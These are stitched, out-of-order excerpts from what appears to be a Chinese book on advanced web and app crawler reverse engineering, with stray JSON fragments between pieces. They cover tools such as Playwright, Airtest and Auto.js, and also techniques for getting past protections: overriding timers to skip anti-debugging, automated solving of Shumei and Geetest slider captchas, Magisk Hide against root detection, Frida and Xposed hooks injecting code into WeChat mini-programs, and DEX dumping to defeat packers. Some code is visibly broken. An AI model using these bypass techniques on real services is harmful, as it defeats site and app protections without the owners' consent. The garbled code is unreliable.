构建完分类器后， 就可以把上面的结合起来， 做一个识别函数。 def knn_shib(test_img): X_train,y_label = split_data(tarin_img_path) clf = knn_clf(X_train,y_label) result =clf.predict([img2vec(test_img)]) return result Unknown 2. 反编译 pkg 下载并配置 CrackMinApp 工具。 下载地址： https： / / github. com / Cherrison / CrackMinApp， 如图 7- 6 所示。 2 54 . 第 7 章 小程序逆向 ·图 7-6 下载完成后， 按照要求放到 D 盘根目录下。 然后进入 Nodejs / Nodejs 文件下， 创建文件夹 node_modules， 将其中的 node_modules. zip 解压到 node_ modules 文件夹中。 完成之后， 将之前准备好的 wxapkg 包放入 wxapkg 中。 接下来运行 exe 文件， 选择执行文件， 然后单 击 “开始执行” 按钮进行反编译， 如图 7-7 所示。 ·图 7-7 执行完成之后， 生成的源码文件和 wxapkg 包在相同目录下， 如图 7- 8 所示。 ·图 7-8 . 2 55 爬虫逆向进阶实战 经过测试， 部分环境不支持软件执行的 &exit 语法， 所以执行后并未进行反编译操作， 此时可以进入 目录 Nodejs / Nodejs 中手动执行反编译命令， 如图 7-9 所示。 ·图 7-9"},
    {"text": "Unknown 2. GeneralNewsExtractor Github： https： / / Github. com/ codelucas/ newspaper 这是一种基于网页文本密度与符号密度对网页进行正文内容提取的方法。 这两个库目前只适用于新闻或者文章页面的信息提取， 部分页面可能抽取结果不符合预期， 也会有 一些基于正则表达式抽取的字段匹配失败。 所以源码中的一些方法需要根据自己的需求来优化和修改。 Unknown 4. 4 Playwright Playwright 是一个支持异步的自动化库， 仅用一个 Api 即可自动执行 Chromium、 Firefox、 WebKit 等主 流浏览器自动化操作， 并同时支持以无头模式运行。 这个就比较厉害了， 在其他框架的基础上做了补充 和完善， 既可以跨平台， 又支持并发操作， 如图 4-16 所示。 ·图 4-16 官网链接： https： / / playwright. dev / 4. 4. 1 工具安装 这里简单说一下 Python 的安装方法， 直接安装 Playwright 依赖库 （需要 Python＞3. 7 版本）。 1 36 . 第 4 章 自动化工具的应用 安装依赖命令： pip install playwright 安装驱动命令： Python -m playwright install 可以用 Python -m playwright install --help 查看命令， 下载全部驱动速度太慢， 如果只安装某一个驱动， 就在命令后带上驱动的名字， 如图 4-17 所示。 ·图 4-17 4. 4. 2 基本使用 环境安装完成后， 就可以启动任务， 可以启动 3 种浏览器 （ chromium、 firefox 和 webkit） 中的任何 一种。 import Asyncio from playwright.Async_Api import Async_playwright Async def main(): Async with Async_playwright() as p: browser =await p.chromium.launch() page =await browser.new_page() await page.goto(\"https://blog.csdn.net/weixin_43582101\") print(await page.title()) await browser.close() Asyncio.run(main()) 它还可以启动浏览器的移动端页面。 from playwright.sync_Api import sync_playwright with sync_playwright() as p: iphone_12 = p.devices[ iPhone 12 Pro ] browser = p.webkit.launch(headless=False ) context = browser.new_context(* * iphone_12) page = context.new_page() page.goto( https://m.weibo.cn ) browser.close() 4. 4. 3 异步任务 Playwright 支持异步任务， 异步操作可结合 Asyncio 同时操作三个浏览器来做自动化任务。 Python 实现代码如下： import Asyncio from playwright.Async_Api import Async_playwright . 1 37 爬虫逆向进阶实战 # 异步人物 Async def main(): Async with Async_playwright() as p: for browser_type in [p.chromium, p.firefox, p.webkit]: browser =await browser_type.launch(headless=False ) page =await browser.new_page() await page.goto( http://baidu.com ) await page.fill(\"input[name= \\\"wd\\\"]\", \"考古学家 lx\") await page.press(\"input[name= \\\"wd\\\"]\", \"Enter\") Asyncio.get_event_loop().run_until_complete(main()) 4. 4. 4 自动录制 另外值得关注的就是自动录制脚本的功能， 可以做到一行代码都不用写就实现自动化功能。 使用命 令 Python -m playwright codegen 录制脚本， 执行命令后会自动打开浏览器， 后续在浏览器上的操作都会被 自动翻译成代码， 如图 4-18 所示。 ·图 4-18 输入命令后， 打开百度， 然后搜索 “考古学家 lx”， 对应的代码就会在 Playwright Inspectore 工具中生 成。 这个操作非常实用。 相比前几款自动化工具， Playwright 的优势是开发更加便捷、 文档更加丰富， 它也支持对请求和 响应的拦截， 更为出色的亮点是自动录制和支持移动端页面测试。 1 38 . 第 4 章 自动化工具的应用 Unknown 4. Location Location 对象包含有关当前 URL 的信息， 如表 3-12 所示。 表 3- 12 Location hash URL 锚 host 当前主机名和端口号 hostname 当前主机名 href 当前 URL pathname 当前 URL 的路径 port 当前 URL 的端口号 protocol 当前 URL 的协议 search 设置 URL 查询部分 assign() 加载新文档 reload() 重新加载文档 replace() 替换当前文档 Unknown 2. 太极阳 太极阳需要 Root 权限， 目前是结合 Magisk 使用的， 它不需要修改 App 的签名， 可以支持系统级别的 Xposed 模块， 可以作用于所有 App， 实现 Xposed 框架所具备的完整功能。 太极阳的安装步骤也很简单， 先安装好 Magisk， 然后刷入太极提供的 Magisk 模块， 再安装太极 App 即可。 Magisk 的安装不再说了， 可以参考之前的介绍。 安装成功后， 一些基于系统权限的模块都可以正 常使用了， 如图 6- 89 所示。 2 36 . 第 6 章 Android 逆向 ·图 6-86 ·图 6-87 ·图 6-88 ·图 6-89 另外刷机有风险， 建议大家提前备份好数据。 本节的内容主要是做一些介绍， 具体的使用还需要自己探索， 太极还有其他有趣的地方， 比如 “ 无 极模式” “阴阳之门” 等。"},
    {"text": "Unknown 3. 2 浏览器控制台 先介绍一下浏览器控制台的使用， 以开发者使用最多的 chrome 为例。 Windows 操作系统下的 F12 键 可以打开控制台， mac 操作系统下用 Fn+F12 键打开。 笔者选择平时使用较多的模块进行介绍， 一些不常 用的便不再讲解了。 3 8. 第 3 章 Web Js 逆向 3. 2. 1 Network Network 是 Js 调试的重点， 面板上由控制器、 过滤器、 数据流概览、 请求列表、 数据统计这五部分组 成， 如图 3-9 所示。 ·图 3-9 控制器： Presserve Log 是保留请求日志的作用， 在跳转页面的时候勾选上可以看到跳转前的请求。 Disable cache 是禁止缓存的作用， Offline 是离线模拟。 过滤器： 根据规则过滤请求列表的内容， 可以选择 XHR、 JS、 CSS、 WS 等。 数据流概览： 显示 HTTP 请求、 响应的时间轴。 请求列表： 默认是按时间排序， 可以看到浏览器所有的请求， 主要用于网络请求的查看和分析， 可 以查看到请求头、 响应状态和内容、 Form 表单等。 数据统计： 请求总数、 总数据量、 总花费时间等。 3. 2. 2 Sources Sources 按列分为三列， 从左至右分别是文件列表区、 当前文件区、 断点调试区， 如图 3-10 所示。 ·图 3-10 . 3 9 爬虫逆向进阶实战 文件列表区中有 Page、 Snippets、 FileSytem 等。 Page 可以看到当前所在的文件位置， 在 Snippets 中单 击 New Snippets 可以添加自定义的 Js 代码， FileSytem 可以把本地的文件系统导入到 chrome 中。 当前文件区是需要重点操作的区域， 当从 Network 的 Preview 或 Response 中使用鼠标右键单击 Open in Sources panel， 会自动跳转到 Sources 中， 此时单击下方的{}来格式化代码， 就能看到美观的 Js 代码， 然 后可以根据指定行数进行断点调试。 断点调试区也非常重要， 每个操作点都需要了解是什么作用。 最上方的功能区分别是暂停 （ F8 键）、 跳过 （F10 键）、 进入 （F11 键）、 跳出 （Shift+F11 键）、 步骤进入 （F9 键）、 禁用断点 （Ctrl+F8 键）、 异 常断点。 Watch： 变量监听， 对加入监听列表的变量进行监听。 Call Stack： 断点的调用堆栈列表， 完整地显示了导致代码被暂停的执行路径。 Scope： 当前断点所在函数执行的作用域内容。 Breakpoints： 断点列表， 将每个断点所在文件 / 行数 / 改行简略内容进行展示。 DOM Breakpoints： DOM 断点列表。 XHR/ fetch Breakpoints： 对达到满足过滤条件的请求进行断点拦截。 Event Listener Breakpoints： 打开可监听的事件监听列表， 可以在监听事件并且触发该事件时进入断 点， 调试器会停留在触发事件代码行。 3. 2. 3 Application Application 是应用管理部分， 主要记录网站加载的所有资源信息。 包括存储数据 （ Local Storage、 Session Storage、 InDexedDB、 Web SQL、 Cookies）、 缓 存 数 据、 字 体、 图 片、 脚 本、 样 式 表 等。 Local Storage （本地存储） 和 Session Storage 中 可 以 查 看 和 管 理 其 存 储 的 键 值 对。 这 里 使 用 最 多 的 是 对 Cookies 的管理了， 有时候调试需要清除 Cookies， 可以在 Application 的 Cookies 位置单击鼠标右键， 选择 Clear 进行清除， 或者根据 Cookies 中指定 的 Name 和 Value 来 进 行清 除， 便 于 进 一步 调 试， 如 图 3-11所示。 ·图 3-11 4 0. 第 3 章 Web Js 逆向 我们辨别 cookie 来源时， 可以看 httpOnly 这一栏， 有√的是来自于服务端， 没有√的则是本地生 成的。 3. 2. 4 Console 谷歌控制台中的 Console 区域用于审查 DOM 元素、 调试 JavaScript 代码、 查看 HTML 解析， 一般是通 过 Console. log（）来输出调试信息。 在 Console 中也可以输出 window、 document、 location 等关键字查看浏览 器环境， 如果对某函数使用了断点， 也可以在 Console 中调用该函数， 如图 3-12 所示。 ·图 3-12 console. assert（）对输入的表达式进行断言， 只有表达式为 False 时， 才输出相应的信息到控制台。 console. count（）统计代码被执行的次数。 console. dir（）将 dOM 节点以 dOM 树的结构进行输出， 可以查看对象的方法等。 console. trace（）可以打出 Js 的函数调用栈。"},
    {"text": "Unknown 1. ARM 寄存器 ARM 汇编语言 （armasm） 是一门低级语言， 它与系统的底层打交道， 直接访问底层硬件资源。 ARM 寄存器是 CPU 的组成部分， 是和存储器交互的桥梁， 它们可用来暂存指令、 数据和地址。 ARM 微处理器共有 37 个 32 位寄存器， 其中 31 个为通用寄存器， 6 个为状态寄存器。 ARM 寄存器分为 2 类： 通用寄存器和状态寄存器。 通用寄存器总共 16 种， 分别为 R0 到 R15； 状态 寄存器共 2 种， 分别为 CPSR 和 SPSR。 16 种通用寄存器如下 （总个数 31）： . 1 77 爬虫逆向进阶实战 R15 别名 PC （program counter） 程序计数器： 保存当前正在执行的指令在内存中的地址， 当指令执行 结束后， PC 的值自动+1， 即自动指向下一条即将执行的指令在内存中的位置。 因为当程序通过汇编指令 完成了对 PC 寄存器的赋值操作时， 其实就是完成了一次无条件跳转。 R14 别名 LR （linked register） 链接寄存器： 用于存放子程序的返回地址， 它是 ARM 程序实现子程序 调用的关键。 R13 别名 SP （stack pointer） 栈指针寄存器： 用于存放堆栈的栈顶地址。 当进行出栈和入栈的时候， 都将根据该寄存器的值来决定访问内存的位置 （即出入栈的内存位置）， 同时在出栈和入栈操作完成后， SP 寄存器的值也应该相应增加或减少。 R0-R12 是普通的数据寄存器， 可用于任何地方。 R12 内部调用暂时寄存器， 被调用函数在返回之前不必恢复。 R4-R11 常用来存放函数的局部变量。 被调用函数返回之前， 必须恢复这些寄存器的值。 R0-R3 常用来传入函数参数， 传出函数返回值。 2 种状态寄存器 （总个数 6） 如下： CPSR （1 个） （Current Program Status Register） 状态寄存器： 用于保存程序的当前状态。 SPSR （5 个） （Saved Program Status Register） 备份程序状态寄存器： 异常返回后恢复异常发生时的工作状态。 上面的知识点有点多， 需要记住 ARM 微处理器有 37 个寄存器， 其中 31 个通用寄存器总共 16 种 （R0-R15）， 6 个状态寄存器总共两种 （CPSR、 SPSR）。"},
    {"text": "Unknown 3. 11 常见反调试 所谓的反调试笔者的理解是， 只要影响正常调试的都属于反调试， 包括压缩混淆加密， 以及本节内 容中的无限 debugger、 控制台状态检测、 蜜罐和内存爆破。"},
    {"text": "在 debugger 行数的位置单击鼠标右键， 选择 ·图 3-115 【add conditional breakpoint （添加条件断点） 】 命 令， 添加false， 然后按 Enter 键， 刷新网页后发现 成功跳过无限 debugger。"},
    {"text": "把 Js 文件保存到本地进行修改， 修改范围主要是将 debugger 相关代码删除或者改写， 修改后使用 chrome 控制台或者 fiddler、 charles、 mitmproxy 等工具动态拦截并替换 Js 文件。"},
    {"text": "或者直接在控制台中重置定时任务， 比如下面这段代码， 如果网页的定时 debug 时间为 3000 毫秒， 那么就修改方法， 当参数为 3000 时， 就让它返回一个空方法， 等于覆盖了原有的定时任务。"},
    {"text": "var setInterval_ = setInterval setInterval = function (func, time){ if (time = = 3000){ return function () {}; } return setInterval_(func, time) } 3. 11. 2 无法打开控制台 如果只是单纯的抓包， 碰到按 F12 键无法打开控制台时， 使用抓包工具即可。"},
    {"text": "下面总结了几种解决方法： （1） 如果按 F12 键没反应， 可以选中域名栏， 再按 F12 键就调出控制台了。 （2） 打不开就切换浏览器。 换火狐或者其他浏览器， 还不行就换 IE 浏览器。"},
    {"text": "3. 11. 3 禁用控制台输出 为了防止调试， 部分网站可能会禁止控制台输出， 简单的方法是重新定义日志函数， 比如 var console ={}或者 console. log=function（）{}等同于禁用了日志输出。"},
    {"text": "内存爆破的场景是在调试 Js 时， 或者打开控制台， 或者格式化 Js 代码后， 浏览器就会卡顿崩溃。 这种情况的主要原因是有监测状态的 代码， 比如监测到控制台打开后， 会循环执行一段占用内存的代码或 者能让浏览器内存溢出的代码， 促使内存爆破无法正常调试。"},
    {"text": "在断点后 进行调试， 如果浏览器开始卡顿， 就单击控制台右上角的暂停按钮， 然后查看 Call Stack 调用栈， 直接定位到发生卡顿的代码位置， 如 图 3-116 所示。"},
    {"text": "替换 Js 文件的方 ·图 3-116 法有很多， 可以通过抓包工具来替换， 也可以通过浏览器控制台的 Overrides 将 Js 保存到本地并且覆盖网站的 Js 文件， 如图 3-117 所示。 ·图 3-117 方法如下， 先通过 Overrides 创建一个本地文件夹， 然后使用鼠标右键单击对应的 Js 文件， 选择 “Save for overrides” 命令， 如图 3-118 所示。"},
    {"text": ". 1 05 爬虫逆向进阶实战 ·图 3-118 3. 11. 5 控制台状态检测 一般是检测控制台是否启用， 如果启用， 会让代码进行无限 debugger 或者进入错误逻辑中， 或者直 接死循环导致界面卡死。"},
    {"text": "代理对象在环境监测的章节中有所讲解， 如果对对象使用了代理， 浏览器就能通过 toString（ ） 方式判 断是否被调用， 因为对象未定义时该方法会报错。"},
    {"text": "Unknown 4. 6 Airtest AirtestProject 是由网易游戏推出的一款自动化测试框架， 是一个跨平台的、 基于图像识别的 UI 自动 化测试框架， 适用于游戏和 App， 支持的平台有 Windows、 Android 和 iOS， 如图 4-24 所示。 ·图 4-24 Airtest 不仅可以做 App 自动化测试， 也可以做浏览器自动化， 以及 Windows 桌面游戏自动化。 Airtest 除了做自动化， 也可以配合抓包工具做数据采集。"},
    {"text": "如果一直不能连接上模拟器或者模拟器崩溃， 可以选择 “Windwos 窗口连接”， 如图 4-26 所示。 Windwos 窗口连接的功能主要依靠 Airtest 进行位置定位， 使用 pywinauto 的操作接口进行模拟操作， 如图 4-27 所示。"},
    {"text": ". 1 41 爬虫逆向进阶实战 ·图 4-25 ·图 4-26 ·图 4-27 4. 6. 2 窗口介绍 Airtest 右侧的设备窗口就不介绍了， 主要是进行设备连接， 如图 4-28 所示。"},
    {"text": "·图 4-28 1 42 . 第 4 章 自动化工具的应用 Airtest 主辅助窗提供了很多可操作的方法， 当选择一个后， 就可以到设备窗口中操作， 此时脚本编 辑窗也会出现代码。"},
    {"text": "表 4- 8 Airtest 主辅助窗名称 方 法 名 功 能 touch 点击 wait 等待某元素出现 swipe 滑动 exists 存在判断 text 输入文本 keyevent 键盘事件 snapshot 截屏 sleep 休眠 assert 断言 Poco 辅助窗是通过元素本身的属性来定位元素， 并且它同样支持录制。"},
    {"text": "Python 代码： # -* - encoding =utf8 -* - from airtest.core.Api import * auto_setup(_file_) touch(Template(r\"tpl1629433593887.png\", record_pos =(0.431, -0.74), resolution =(404, 746))) wait(Template(r\"tpl1629433645167.png\", record_pos =(0.423, -0.738), resolution =(404, 746))) text(\"lx\") touch(Template (r\" tpl1629433645167. png\", record _pos = (0. 423, - 0. 738), resolution = (404, 746))) touch(Template(r\" tpl1629433692867. png\", record _pos = ( -0.203, -0.639), resolution = (404, 746))) sleep(2.0) touch((80,220),times =1) for i in range(5): #touch((374,421),times=1) swipe((140,520),(140,120),1) 1 44 . 第 4 章 自动化工具的应用 因为笔者用的是模拟器， 没有登录抖音账号， 所以把点赞的代码注释了。"},
    {"text": "如 果把 Selenium 当作操作浏览器的利器， 那么 Auto. js 就是操作 App 的金手指， 如图 4-32 所示。 ·图 4-32 4. 7. 1 工具简介 Auto. js 是基于无障碍服务实现易于使用的自动化操作功能。"},
    {"text": "另外 Auto. js 可以打包为 APK 文件， 使用它可以快速开发小型的插件应用程序。 Auto. js 的特征如下： Auto. js 主要针对自动化和工作流。 Auto. js 具有更好的兼容性。"},
    {"text": "现在没有下载渠道， 笔者把 Auto. js 的安装包和本章的案例一起上传到 CSDN， 大家可以自己下载 学习。 . 1 45 爬虫逆向进阶实战 下载链接： https： / / download. csdn. net / download / weixin_ 43582101 / 16078178 4. 7. 2 使用案例 Auto. js 不仅是自动化操作的工具， 也可以和 Js 一样通过请求来获取数据。"},
    {"text": "首先通过抓包抓到了英雄列表的 json 数据， 提取出英 雄名称， 然后拼接出英雄的皮肤链接， 再根据皮肤链接下载保存。 const LIST = \"https://pvp.qq.com/web201605/js/herolist.json\"; const YX_PHO = \"http://game.gtimg.cn/images/yxzj/img201606/skin/hero-info\"; let path = \"/sdcard/DCIM/英雄皮肤/\"; files.createWithDirs(path ); get_Pic (); function get_Pic () { let Hero_Url = getId_Name (); for (j in Hero_Url) { for (let coun = 1; coun < 5; coun++) { let name = Hero_Url[j ].NA + coun; let url = Hero_PHO + \"/\" + Hero_Url[j ].ID + \"/\" + Hero_Url[ j ].ID + \"-bigskin-\" + coun + \".jpg\"; if (! save_Pic (name, url)) continue ; } } } function getId_Name () { let arr = []; let list = http.get(LIST ).body .json(); if (list.length > 2) log(\"获取英雄列表!\"); for (let i in list) { let id = list[i].ename ; let name = list[i].cname ; let json = { \"ID\":id, \"NA\":name }; arr.push(json); } return arr; } //保存图片 function save_Pic (name, url) { let Pic = http.get(url,{headers :{\"User-Agent\":\"Mozilla/5.0 (Linux; U; Android 4.0.3; zh-cn; M9 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\"}}); files.writeBytes(path + name + \".jpg\", Pic.body .bytes ()); log(name,\"保存成功!\"); } 1 46 . 第 4 章 自动化工具的应用 4. 7. 3 指数查询案例 通过 Android 的无障碍功能自动化操作手机进行微信指数查询和采集， 如图 4-33 所示。"},
    {"text": "·图 4-33 App.launchApp( 微信 ); //跳转到首页 function goToHomePage (){ let k = 0; while (k < 30){ k = k + 1; if (text(\"微信\").depth (10).exists()){ toast( 到首页 ); break ; }else { back(); sleep(1000* 0.2); } } } //跳转到指数页面 function goToZhiShuPage (){ var it = className(\"android.widget.ImageView\").depth (17).findOne(); var b = it.bounds(); click(b.centerX(), b.centerY()); sleep(1500); //跳转到微信指数小程序 id( m7 ).findOne().setText( 微信指数 ); sleep(1000); . 1 47 爬虫逆向进阶实战 var wxzs = text( 微信指数 ).depth (14).findOne(); var bb = wxzs.bounds(); click(bb.centerX(), bb.centerY()); } //根据关键字查询 function getZhiShuForKey (tkey){ sleep(1000* 1.5); var wxzs = text( 搜索 ).findOne(); var bb = wxzs.bounds(); click(bb.centerX(), bb.centerY()); className( android.widget.EditText ).findOne().setText(tkey); sleep(1000); //单击键盘上面的 搜索 按钮 click(device.width - 16, device.height - 16); sleep(1000* 2); //获取关键字和指数 let findData = {keyword :tkey, //关键字 dataKey : , //时间戳，显示在界面上的时间 zhishu : //指数值 }; try { findData.dataKey = className( android.view.View ).findOne().text (); } catch (error) { toast(error); exit(); } toast( 日期 + findData.dataKey + , 指数 + findData.zhishu ); } // “ 微信指数” if (1){ goToHomePage (); goToZhiShuPage (); getZhiShuForKey ( Lx ); sleep(1000); } 通过自动化的查询， 可以把结果保存到本地或者通过接口发送给服务器。"},
    {"text": "Unknown 1. 验证码申请 ·图 10-25 打开控制台仔细阅读请求过程， 如图 10-26 所示。 ·图 10-26 Api：\" https：/ / captcha. fengkongcloud. com/ ca / v1/ conf？\" params = { organization : RlokQwRlVjUrTUlkIqOg , model : slide , sdkver : 1.1.3 , rversion : 1.0.3 , AppId : default , lang : zh-cn , . 3 51 爬虫逆向进阶实战 channel : YingYongBao , callback : sm_{} .format(int(time.time() * 1000)) } 该接口返回的 Js 参数， 是下一步需要请求的目标， 如图 10-27 所示。 Unknown 6. 整体代码 由于代码较长不便阅读， 笔者只贴出方法介绍和运行流程， 完整版可在代码库中查看。 \"\"\" 数美滑块验证码模拟验证学习案例 \"\"\" def find_arg_names(script): \"\"\" 通过 js 解析出参数名 \"\"\" def get_encrypt_content(message, key, flag): \"\"\" 接口参数的加密、解密 \"\"\" def get_random_ge(distance): \"\"\" 生成随机的轨迹 \"\"\" def make_mouse_action_args(distance): \"\"\" 生成鼠标行为相关的参数 \"\"\" def get_distance(fg, bg): \"\"\" 计算滑动距离 \"\"\" def update_protocol(protocol_num, js_uri): \"\"\" 更新协议 \"\"\" def conf_captcha(organization): \"\"\" 获取验证码设置 \"\"\" 3 54 . 第 10 章 验证码识别技术 def register_captcha(organization): \"\"\" 注册验证码 \"\"\" def verify_captcha(organization, rid, key, distance): \"\"\" 提交验证 \"\"\" def get_verify(organization): \"\"\" 1、获取验证码设置 2、注册验证码 3、下载验证图片 4、计算滑动距离 5、生成随机的轨迹 6、提交验证 7、接口参数的加解密 8、进行验证 \"\"\" 10. 2. 3 极验滑块验证码 极验滑块验证一直是爬虫难题， 很多信息公示系统和直播网站在验证上使用的都是极验滑块验证码， 比如斗鱼、 战旗、 企鹅等。 极验在注册、 登录、 找回密码等众多交互环节部署验证服务， 大幅度增加了 爬虫的开发难度， 如图 10-34 所示。 ·图 10-34 案例地址： https： / / www. geetest. com / Register。 为什么要重点说极验呢？ 从上图可以看出， 上图左侧为验证时所见的图片， 而右侧则是通过抓包找 到的原始图片， 两幅图的模样差距很大， 其中肯定执行了某段 Js， 简单观察也发现不了规律。 遇到这种情况时， 如果验证频率不高， 并且想减少开发难度和时间， 可以选择使用自动化工具。 先 通过截图把验证码整体保存下来， 然后通过固定的坐标裁剪， 保留图中的验证图片， 此时再去识别缺口 进行下一步的验证。 如果验证频率很高， 对采集速度也有一定要求， 那么只能通过还原 Js 的方式来进行协议验证。 首先 需要找到 Js 中的图片坐标偏移代码来还原验证码图片， 再找到滑动轨迹的算法， 然后进行缺口识别， 最 . 3 55 爬虫逆向进阶实战 后根据验证接口进行数据提交。 当然完成这个过程需要找到每个请求中的加密参数的生成方法， 这个过 程会非常熬人。 Github 中有很多相关开源项目， 比如 geetest-crack、 geeEtacsufbo 等， 大家自己找一找， 这里就不具体 分析了。 10. 2. 4 利用 AI 平台识别缺口 目前有很多面向企业和个人开发者的 AI 平台， 它们提供可配置的算法和高性能的算力。 比如百度云 的 EasyDL 或者华为云的 ModelArts， 本节内容以百度 EasyDL 为例， 训练可以识别滑块验证码缺口的模型。 EasyDL 地址： https： / / ai. baidu. com/ easydl/ EasyDL 是基于飞桨开源深度学习平台， 面向企业 AI 应用开发者提供零门槛 AI 开发平台， 为了实现 零算法基础定制高精度 AI 模型。 EasyDL 提供一站式的智能标注、 模型训练、 服务部署等全流程功能， 内 置丰富的预训练模型， 支持公有云、 设备端、 私有服务器、 软硬一体方案等灵活的部署方式。 也就是说使用者并不需要懂算法原理， 也能够驾驭零门槛的 AI 开发平台使用深度学习来训练、 部署 模型， 如图 10-35 所示。 ·图 10-35 先到 EasyDL 创建一个物体检测的模型， 然后在数据总览中创建数据集， 准备添加数据。 当然添加数 据需要先收集一批验证码图片。 笔者选择从某 Q 邮箱的登录验证来采集， 在输入错误的账号登录时， 会 出现滑块验证码验证。 因为该邮箱的验证图片只有十几张， 所以不贴采集代码了。 收集完图片后， 把图片上传到数据集中， 大家在开发时最好有 100 张以上来做训练集， 如图 10-36 所示。 然后点击查看和标注， 进行手工标注。 只需要用鼠标拖曳形成轮廓就可以了， 如图 10-37 缺口阴影部 分所示。 标注完就可以开始训练了， 点击 “训练模型”， 选择标注过的训练数据， 再添加上测试数据， 如图 10-38 所示。 3 56 . 第 10 章 验证码识别技术 ·图 10-36 ·图 10-37 ·图 10-38 . 3 57 爬虫逆向进阶实战 选择好后， 单击页面最下方的 “开始训练” 按钮， 等待模型训练， 如图 10-39 所示。 ·图 10-39 因为数据量很小， 十分钟左右就训练完成了。 训练完成之后， 点击校验模型， 上传图片进行测试， 如图 10- 40 所示。 ·图 10-40 识别结果还是很不错的， 在确认模型可靠后， 可以发布模型进行远程调用， 如图 10- 41 所示。 在申请通过之后， 可以参考官方提供的 《定制化模型发布 Api 使用规则》 来调用服务了。 该训练过程非常简单， 没有使用任何代码， 只需要标注好数据集， 对于爬虫的快速开发起到了一定 的帮助作用， 所以能合理利用资源是一件很重要的事。 3 58 . 第 10 章 验证码识别技术 ·图 10-41"},
    {"text": "Unknown 2. Document 载入浏览器的 HTML 文档， 如表 3-10 所示。 表 3-10 Document body ＜body＞元素 cookie 当前 cookie domain 文档域名 lastModified 文档最后修改日期和时间 referrer 访问来源 title 文档标题 URL 当前 URL getElementById() 返回指定 id 的引用对象 getElementsByName() 返回指定名称的对象集合 getElementsByTagName() 返回指定标签名的对象集合 open() 打开流接收输入输出 write() 向文档输入 Unknown 2. Magisk 概述 Magisk 内置了 Magisk Manager （图形化管理 界面）、 Root、 启动脚本、 SElinux 补丁和强制加 密等功能。 Magisk 可以在不修改系统文件的情况 下更改 system 或 vendor 分区内容的接口， 同时利 用与 Xposed 类似的模块系统， 可以对系统进行修 改或对所安装的软件功能进行修改等。 ·图 6-83 虽然 Magisk 和 Xposed 都是通过 Hook 拦截， Xposed 主要是通过拦截 Zygote 进程来加载自定义功能， 在应用启动之前， 就将自定义内容附加在了系统进程中， 而 Magisk 主要是通过挂载一个与系统文件相隔 离的文件系统来加载自定义内容， 为系统分区打开入口， 所有的改动只会在 Magisk 分区里发生， 如 图 6- 84 所示。 当被挂载的 Magisk 分区被隐藏或者被取消挂载时， 原有系统分区的完整性丝毫未损， 所以 Magisk 可 以对一些验证系统完整性的 App 进行隐藏 （Magisk Hide）， 这样可以在 Root 权限下使用一些有 Root 检测 的应用， 具体方法是打开侧栏 Magisk Hide， 勾选需要隐藏的 App 即可。 . 2 35 爬虫逆向进阶实战 6. 3. 5 Tai Chi 太极 （Tai Chi） 是一个可以运行 Xposed 模块的框架， 无论是否 Root 都可以运行， 并且它目前支持 Android 5. 0～12 系统在内的大部分机型 （如华为、 三星、 小米、 OPPO 和 VIVO 等）， 如图 6-85 所示。 ·图 6-84 ·图 6-85 官网地址： https： / / taichi. cool / zh 虽然太极是一个和 Xposed 相似的框架， 但是它本身与 Xposed 几乎没有关系， 两者的实现机制和运作 逻辑完全不同， 尽管太极能够兼容 Xposed 模块。 太极有两种工作模式： 太极阴 （免 Root 模式） 和太极阳 （ Magisk 模式）。 如果需要对系统做更多的 控制， 可以使用太极阳对系统解锁和刷机获取更多功能。 Unknown 7. 2 小程序 Hook PC 端或者 Android 上的微信小程序也是可以使用 Xpsed、 Frida 这些工具进行 Hook 的。 但是 PC 端的 Hook 需要拥有找到 PC 端小程序参数加密方法的能力， 比如下面的 Frida 示例： import Frida local = Frida.get_local_device() session = local.attach(\"wechat.exe\") jscode = Java.perform(function () { . 2 57 爬虫逆向进阶实战 var baseAddr = Module.findBaseAddress( WeChatAppHost.dll ); var EncryptLx = Module.findExportByName( WeChatAppHost.dll , EncryptLx ); if (EncryptLx ) { Interceptor.attach(EncryptLx , { onEnter:function (args) { }, onLeave:function (retval) { } }); } else {} } ) script = session.create_script(jscode) 接下来的内容以 Android 上的小程序 Hook 为主。 本节部分代码参考自： https： / / Github. com / AlienwareHe / awesome-reverse 7. 2. 1 逻辑层 Hook 小程序中页面初始化加载时， 会将 Js 代码由 Native 层传到逻辑层执行， 可以 Hook 这个步骤去替换一 些关键的 Js 代码。 RposedHelpers.findAndHookMethod(WxHookConstants.logicJsEngineClass, loadPackageParam.classLoader, WxHookConstants.logicJsEngineExecuteJsMethod, \"java.lang.String\", \"java.lang.String\", int.class , \"java.lang.String\", \"java.lang.String\", \"com.eclipsesource.v8.ExecuteDetails\", new RC_MethodHook() { @ Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { String js = (String ) param.args [0]; try { for (JsHandler jsHandler:jsHandlers) { if (jsHandler.support(js )) { param.args [0] = jsHandler.handle(js ); break ; } } } catch (Throwable e ) { Log.e(TAG , \"hook logic layer js exception\", e ); } } }); 7. 2. 2 渲染层 Hook 小程序通过微信自定义的 WebView 进行渲染， 可以通过 WebViewClient 来注入 JsBridge。 RposedHelpers.findAndHookMethod(\"com.tencent.xweb.WebView\", SharedObject.loadPackageParam.classLoader, \"setWebViewClient\", 2 58 . 第 7 章 小程序逆向 \"com.tencent.xweb.aa\", new RC_MethodHook() { @ Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { Log.i(TAG , \"web view hook success\"); Object webView = param.thisObject; Object webViewClient = param.args [0]; if (webViewClient = = null ) { Log.i(TAG , \"webViewClient is null\"); return ; } Log.i(TAG , \"new webview onFinished\"); webViews.add(webView ); RposedHelpers.callMethod (webView , \"addJavascriptInterface\", new JavaBridge (SharedObject.context ), \"javaBridge\"); } });"},
    {"text": "Unknown 3. ZjDroid ZjDroid 是基于 Xposed 的动态逆向分析模块， 也是一个 Xposed 插件， 可完美解决二代加固。 Github 地址： https： / / Github. com/ halfkiss/ ZjDroid ZjDroid 功能特点： · DEX 文件的内存 dump。 · 基于 Dalvik 关键指针的内存 BackSmali。 · 敏感 Api 的动态监控。 · 指定内存区域数据 dump。 · 获取应用加载 Dex 文件信息。 · 获取指定 Dex 文件加载类信息。 · dumpDalvik java 堆信息。 · 在目标进程动态运行 Lua 脚本。 ZjDroid 源码中主要有 dump_Dexinfo、 dump_Dexfile、 backsmail、 dump_Dex、 dump_mem、 dump_heap、 invoke 这些方法， 具体作用就不介绍了， 可以根据下面的命令解析进行对比。 ZjDroid 工具相关命令如下： （1） 获取 APK 当前加载 Dex 文件信息 （dump_Dexinfo）： adb shell am broadcast -a com. zjdroid. invoke --ei target pid --es cmd {\" action\" ：\" dump_Dexinfo\" } （2） 获取指定 Dex 